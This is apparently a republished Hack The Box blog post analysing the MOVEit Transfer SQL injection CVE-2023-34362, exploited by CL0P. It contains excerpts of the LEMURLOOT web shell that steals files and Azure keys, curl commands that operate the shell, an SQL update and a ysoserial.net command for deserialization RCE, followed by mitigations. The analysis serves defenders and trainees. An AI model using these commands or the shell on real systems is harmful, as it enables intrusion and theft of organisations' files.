Understanding CVE-2023-34362: A critical MOVEit Transfer vulnerability

渗透技巧 1年前 (2023) admin
274 0 0

Understanding CVE-2023-34362: A critical MOVEit Transfer vulnerability

In May 2023, the CL0P ransomware group exploited the SQL injection vulnerability CVE-2023-34362, which is the same vulnerability we’re discussing, to install a web shell named LEMURLOOT on the MOVEit Transfer web applications.

MOVEit is typically used to manage an organization’s file transfer operations. This exploit resulted in data exfiltration that impacted approximately 130 victims over the course of 10 days.

The breach was limited to the MOVEit platform itself, and the group threatened to publish the stolen files on their data leak site if the ransom was not paid.

The web shell they installed allowed them to retrieve system settings, enumerate the underlying SQL database, store and retrieve files from the MOVEit Transfer system, and create a new administrator privileged account.

The discovery of this vulnerability and its active exploitation led to its addition to the Known Exploited Vulnerabilities (KEVs) Catalog in June 2023​1​.

These incidents show the potential seriousness of SQL injection vulnerabilities. They can lead to data breaches, loss of sensitive information, defacement of websites, and malware infections.

It’s clear why businesses would want to know about such vulnerabilities, understand how they operate, and take steps to prevent them. By doing so, they can protect their systems, data, and reputation from similar attacks.

What is MOVEit Transfer? 

MOVEit is typically used to manage an organization’s file transfer operations. Imagine a company uses a system to transfer data, kind of like a mail courier. The system, in this case, is called MOVEit Transfer.

Now, imagine someone found a way to trick the courier into delivering extra letters, which they shouldn’t be delivering. These extra letters could contain commands that open up the company’s secret vault (i.e., the database). This is roughly what’s happening here.

A weakness, or vulnerability, has been found in the MOVEit Transfer system that could allow someone who’s not supposed to have access to the company’s database to get in. They could potentially view, change, or even delete important information. The method they use to trick the courier is called SQL injection.

SQL injections course

Understanding CVE-2023-34362: A critical MOVEit Transfer vulnerability

The HTB Academy course on SQL Injection Fundamentals covers everything beginners should know about SQL injection attacks.

What is CVE-2023-34362? 

CVE-2023-34362 is a significant vulnerability that could potentially enable an unauthenticated attacker to access and manipulate a business’s database through a method known as SQL injection. If left unaddressed, this vulnerability could lead to significant data breaches, loss of sensitive information, and severe disruption of services.

Vulnerability description

The vulnerability arises from an insecure SQL query in the () function (defined in MOVEit.DMZ.ClassLib), which is built by concatenating strings supplied as parameters to the function:UserEngine.UserGetUsersWithEmailAddress

private void UserGetUsersWithEmailAddress(ref ADORecordset MyRS, string EmailAddress, string InstID, bool bJustEndUsers = false, bool bJustFirstEmail = false)

{

    object[] array;

    bool[] array2;

    object value = NewLateBinding.LateGet(null, typeof(string), "Format", array = new object[]

    { Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject("SELECT Username, Permission, LoginName, Email FROM users WHERE InstID={0} AND Deleted=" + Conversions.ToString(0) + " ", Interaction.IIf(bJustEndUsers, "AND Permission>=" + Conversions.ToString(10) + " ", "")), "AND "), "("), "Email='{2}' OR "), this.siGlobs.objUtility.BuildLikeForSQL("Email", "{1},%", true, false, true, false)), Interaction.IIf(bJustFirstEmail, "", " OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1}", true, false, true, false) + " OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1},%", true, false, true, false))), ") "), "ORDER BY LoginName"),

        InstID,

        this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress),

        EmailAddress

    }, null, null, array2 = new bool[]

    {

        default(bool),

        true,

        default(bool),

        true

    });

    if (array2[1])

    {

        InstID = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[1]), typeof(string));

    }

    if (array2[3])

    {

        EmailAddress = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[3]), typeof(string));

    }

    string query = Conversions.ToString(value);

    this.siGlobs.objWrap.DoReadQuery(query, ref MyRS, true, true);

} 

As explained in the HORIZON3 deep dive analysis—where a more in-depth description of the vulnerability can be found—although this function is easily accessible by unauthenticated users via , direct paths are not viable because the parameters are sanitized by calling () before passing them to the function. guestaccess.aspxXHTMLClean

An alternate route to , therefore, has to be found.UserGetUsersWithEmailAddress()

The () function (completely removed in patched MOVEit Transfer versions) allows the caller to set arbitrary session variables from HTTP request headers starting with .SILHttpSessionWrapper.SetAllSessionVarsFromHeadersX-siLock-SessVar

public bool SetAllSessionVarsFromHeaders(string ServerVars)

        {

            bool result = true;

            string[] array = Strings.Split(ServerVars, "\r\n", -1, CompareMethod.Binary);

            int num = Strings.Len("X-siLock-SessVar");

            int num2 = Information.LBound(array, 1);

            int num3 = Information.UBound(array, 1);

            checked

            {

                for (int i = num2; i <= num3; i++)

                {

                    if (Operators.CompareString(Strings.Left(array[i], num), "X-siLock-SessVar", false) == 0)

                    {

                        int num4 = array[i].IndexOf(':', num);

                        if (num4 >= 0)

                        {

                            int num5 = array[i].IndexOf(':', 1 + num4);

                            if (num5 > 0)

                            {

                                string key = array[i].Substring(2 + num4, num5 - num4 - 2);

                                string val = array[i].Substring(2 + num5);

                                this.SetValue(key, val);

                            }

                        }

                    }

                }

                return result;

            }

        } 

 

This function is called by the  handler , and access is restricted to requests originating from localhost. However, incorrect header parsing in the function responsible from handling requests that contain the parameter in moveitisapi.dll, accessible from outside, allows to forward arbitrary data to , effectively bypassing the localhost restriction (refer to the machine2.aspxSILMachine2action=m2machine2.aspxHORIZON3 article for additional details).

Once session variables corresponding to the parameters required by () have been set, the () function from is called by making a request to the endpoint.UserGetUsersWithEmailAddressLoadFromSessionSILGuestAccessguestaccess.aspx

public void LoadFromSession()

{

  this.AccessCode = this.siGlobs.objSession.GetValue("MyPkgAccessCode");

  this.ValidationCode = this.siGlobs.objSession.GetValue("MyPkgValidationCode");

  this.PkgID = this.siGlobs.objSession.GetValue("MyPkgID");

  this.EmailAddr = this.siGlobs.objSession.GetValue("MyGuestEmailAddr");

  this.InstID = this.siGlobs.objSession.GetValue("MyPkgInstID");

  this.IsSelfProvisioned = (Operators.CompareString(this.PkgID, "0", false) == 0);

  this.SelfProvisionedRecips = this.siGlobs.objSession.GetValue("MyPkgSelfProvisionedRecips");

  this.Viewed = ((-((SILUtility.StrToBool(this.siGlobs.objSession.GetValue("MyPkgViewed")) > false) ? 1 : 0)) ? 1 : 0);

} 

To trigger SQL injection, the payload is first put into the environment variable through the () path, then copied to this via .MyPkgSelfProvisionedRecipsmoveitisapi.dll?action=m2 > SILMachine2 (machine2.aspx) > SetAllSessionVarsFromHeaders.SelfProvisionedRecipsguestaccess.aspx

The value is then parsed as a comma-separated list of email addresses and passed to () unsanitized, to be then inserted into the constructed SQL query as the AND Email=’…’ value, resulting in the execution of arbitrary queries.SelfProvisionedRecipsUserGetUsersWithEmailAddress

The LEMURLOOT web shell

The web shell, which was found to be installed by threat actors on many vulnerable systems (usually with the file name human2.aspx or _human2.aspx, similar to the existing human.aspx endpoint), provides functionality for enumerating and downloading files from a compromised system, leveraging MOVEit internal functions to decrypt data.The full web shell code is available here.

The web shell is installed under the web root directory (usually ). When requesting the page, a password must be provided with the request header, otherwise a 404 status code is returned. This password can be set by an attacker to prevent others from accessing the web shell.C:\MOVEitTransfer\wwwrootX-siLock-Comment

 

var pass = Request.Headers["X-siLock-Comment"];

    if (!String.Equals(pass, "...")) {

        Response.StatusCode = 404;

        return;

    }

A second header, named , is used to provide an installation ID (instiD) value.X-siLock-Step1

var instid = Request.Headers["X-siLock-Step1"];

Depending on the value, different actions will be taken.instid

If instid is equal to -1, a series of database queries are performed to retrieve a list of all available folders, files, and installations.

if (int.Parse(instid) == -1) {

            string azureAccout = SystemSettings.AzureBlobStorageAccount;

            string azureBlobKey = SystemSettings.AzureBlobKey;

            string azureBlobContainer = SystemSettings.AzureBlobContainer;

            Response.AppendHeader("AzureBlobStorageAccount", azureAccout);

            Response.AppendHeader("AzureBlobKey", azureBlobKey);

            Response.AppendHeader("AzureBlobContainer", azureBlobContainer);

            var query = "select f.id, f.instid, f.folderid, filesize, f.Name as Name, u.LoginName as uploader, fr.FolderPath , fr.name as fname from folders fr, files f left join users u on f.UploadUsername = u.Username where f.FolderID = fr.ID";

            string reStr = "ID,InstID,FolderID,FileSize,Name,Uploader,FolderPath,FolderName\n";

            var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);

            if (!set.EOF) {

                while (!set.EOF) {

                    reStr += String.Format("{0},{1},{2},{3},{4},{5},{6},{7}\n", set["ID"].Value, set["InstID"].Value, set["FolderID"].Value, set["FileSize"].Value, set["Name"].Value, set["uploader"].Value, set["FolderPath"].Value, set["fname"].Value);

                    set.MoveNext();

                }

            }

            reStr += "----------------------------------\nFolderID,InstID,FolderName,Owner,FolderPath\n";

            String query1 = "select ID, f.instID, name, u.LoginName as owner, FolderPath from folders f left join users u on f.owner = u.Username";

            set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);

            if (!set.EOF) {

                while (!set.EOF) {

                    reStr += String.Format("{0},{1},{2},{3},{4}\n", set["id"].Value, set["instID"].Value, set["name"].Value, set["owner"].Value, set["FolderPath"].Value);

                    set.MoveNext();

                }

            }

            reStr += "----------------------------------\nInstID,InstName,ShortName\n";

            query1 = "select id, name, shortname from institutions";

            set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);

            if (!set.EOF) {

                while (!set.EOF) {

                    reStr += String.Format("{0},{1},{2}\n", set["ID"].Value, set["name"].Value, set["ShortName"].Value);

                    set.MoveNext();

                }

            }

 

The retrieved data is then sent as a response to the requester in gzipped format.

using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {

                using(var writer = new StreamWriter(gzipStream, Encoding.UTF8)) {

                    writer.Write(reStr);

                }

            }

        }

 

Files can be exfiltrated by sending an existing installation ID as the header, together with the folder ID as and the file ID as . The file is decrypted and returned in gzipped format.  X-siLock-Step1X-siLock-Step2X-siLock-Step3

  var fileid = Request.Headers["X-siLock-Step3"];

            var folderid = Request.Headers["X-siLock-Step2"];




<SNIP>

                DataFilePath dataFilePath = new DataFilePath(int.Parse(instid), int.Parse(folderid), fileid);

                SILGlobals siGlobs = new SILGlobals();

                siGlobs.FileSystemFactory.Create();

                EncryptedStream st = Encryption.OpenFileForDecryption(dataFilePath, siGlobs.FileSystemFactory.Create());

                Response.ContentType = "application/octet-stream";

                Response.AppendHeader("Content-Disposition", String.Format("attachment; filename={0}", fileid));

                using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {

                    st.CopyTo(gzipStream);

 

For example, let’s assume a file named “secretfile” was uploaded under the home directory of the admin user of an organization named HTB. After exploiting the SQL injection vulnerability and uploading the LEMURLOOT shell as , an attacker could obtain a list of available files by running the following command:human2.aspx

curl -k -H "X-siLock-Comment: PASSWORD" -H "x-siLock-Step1: -1" https://<target address>/human2.aspx -o- | gunzi

The output shows the file secretfile (with id 966652864) under the folder /Home/admin (with id 966927815) for the HTB organization (with id 3636).

ID,InstID,FolderID,FileSize,Name,Uploader,FolderPath,FolderName

966652864,3636,966927815,14,secretfile,admin,/Home/admin,admin

967182420,0,966956396,1652,Log_06152023010115,,/Archive/Logs,Logs

----------------------------------

FolderID,InstID,FolderName,Owner,FolderPath

966789540,0,Home,,/Home

966794435,3636,,,/

966795093,3636,WebPosts,,/WebPosts

<SNIP>

----------------------------------

InstID,InstName,ShortName

0,(System),

3636,HTB,

The file contents can be retrieved with the following command:

curl -k -H "X-siLock-Comment: PASSWORD" -H "x-siLock-Step1: 3636" -H "x-siLock-Step2: 966927815" -H "x-siLock-Step3: 966652864" https://<target address>/human2.aspx -o- | gunzip

Remote command execution

Once administrative access to the application has been obtained via SQL injection, a .NET deserialization vulnerability can be further leveraged to gain remote command execution on the machine. Deserialization is performed in the () function, defined in .ResumableUploadFilePartHandler.DeserializeFileUploadStreamMOVEit.DMZ.Application

private FileTransferStream DeserializeFileUploadStream(DataFilePath filePath)

        {

            if (this._uploadState.Length == 0)

            {

                return this.CreateFileUploadStream(filePath);

            }

            int num = 1;

            FileHeaderStream additional;

            for (;;)

            {

                try

                {

                    additional = this._fileSystem.OpenWrite(filePath);

                }

                catch (IOException ex)

                {

                    this._globals.objDebug.Log(LogLev.SomeDebug, string.Format("{0}: Error opening file {1} for writing (try {2} of {3}): {4}", new object[]

                    {

                        "ResumableUploadFilePartHandler",

                        filePath,

                        num,

                        10,

                        ex.Message

                    }));

                    if (num == 10)

                    {

                        throw;

                    }

                    Thread.Sleep(1000);

                    num++;

                    continue;

                }

                break;

            }

            BinaryFormatter binaryFormatter = new BinaryFormatter

            {

                Context = new StreamingContext(StreamingContextStates.All, additional)

            };

            FileTransferStream result;

            using (MemoryStream memoryStream = new MemoryStream(this._uploadState))

            {

                result = (FileTransferStream)binaryFormatter.Deserialize(memoryStream);

            }

            return result;

        } 

In this function, a memory stream is constructed from the variable and then deserialized. The () function, called when a file upload is resumed by passing the parameter to the /api/v1/folders/<folder_id>/files endpoint, sets the uploadState member by taking an encrypted State value from the corresponding row in the fileuploadinfo database table.this._uploadStateResumableUploadFilePartHandler.GetFileUploadInfouploadType=resumable

this._uploadState = Convert.FromBase64String(this._globals.objUtility.DBFieldDecrypt(sildictionary["State"])); 

By exploiting the SQL injection vulnerability (described above), arbitrary values can be written to the State column. In order to be able to write a .NET deserialization payload to the uploadState, however, it has to be first encrypted with the encryption key associated with the organization.

This can be accomplished by first setting the payload as the value of the optional Comment parameter when initiating the upload, which will be encrypted by the application before writing it to the database; next, the SQL injection can be leveraged to copy the Comment value to the State column by executing a query such as the following:

UPDATE `fileuploadinfo` SET `State` = `Comment` WHERE `FileID` = <file_id>;"

When resuming the update by setting , the () function will be called, which will set to the decrypted State value, containing the attacker’s payload, which will finally be executed upon deserialization.uploadType=resumableGetFileUploadInfothis.uploadState

To create a valid payload, ysoserial.net can be run with the following options: 

ysoserial.exe --command="<command>" -o base64 -f BinaryFormatter -g TextFormattingRunProperties

One thing to note is that, by default, the moveitsvc user that runs the MOVEit services belongs to the local Administrators group, which makes the RCE vector even more impactful.

A note on CVE-2023-35036 and CVE-2023-35708

Since the release of a patch for CVE-2023-34362, two additional SQL injection vulnerabilities (CVE-2023-35036 and CVE-2023-35708) have been discovered in MOVEit Transfer, both deemed critical by Progress. 

While they may not have as big of an impact as CVE-2023-34362, as their exploitation in the wild doesn’t seem to be as widespread (according to Progress there is no evidence that the latest vulnerability has been exploited), this further highlights the importance of always keeping the application up to date.

Mitigation

Patches are available. In case a patch cannot be applied immediately, the following mitigation measures have been recommended by Progress:

  • Restrict HTTP / HTTPS traffic via firewall rules.
  • Delete unauthorized files and user accounts, including human2.aspx, .cmdline and .dll files.
  • Remove all active sessions.
  • Review log files.
  • Reset service account credentials.

Additional security best practices are detailed in the Progress knowledge base article.

Stay ahead of threats with Hack The Box

In response to this vulnerability, we’ve released a new Machine called Immovable for HTB Enterprise users. This gives teams the chance to train on real-world, threat-landscape-connected scenarios in a safe and controlled environment.

原文始发于Tr33Understanding CVE-2023-34362: A critical MOVEit Transfer vulnerability

版权声明:admin 发表于 2023年7月7日 上午9:13。
转载请注明:Understanding CVE-2023-34362: A critical MOVEit Transfer vulnerability | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...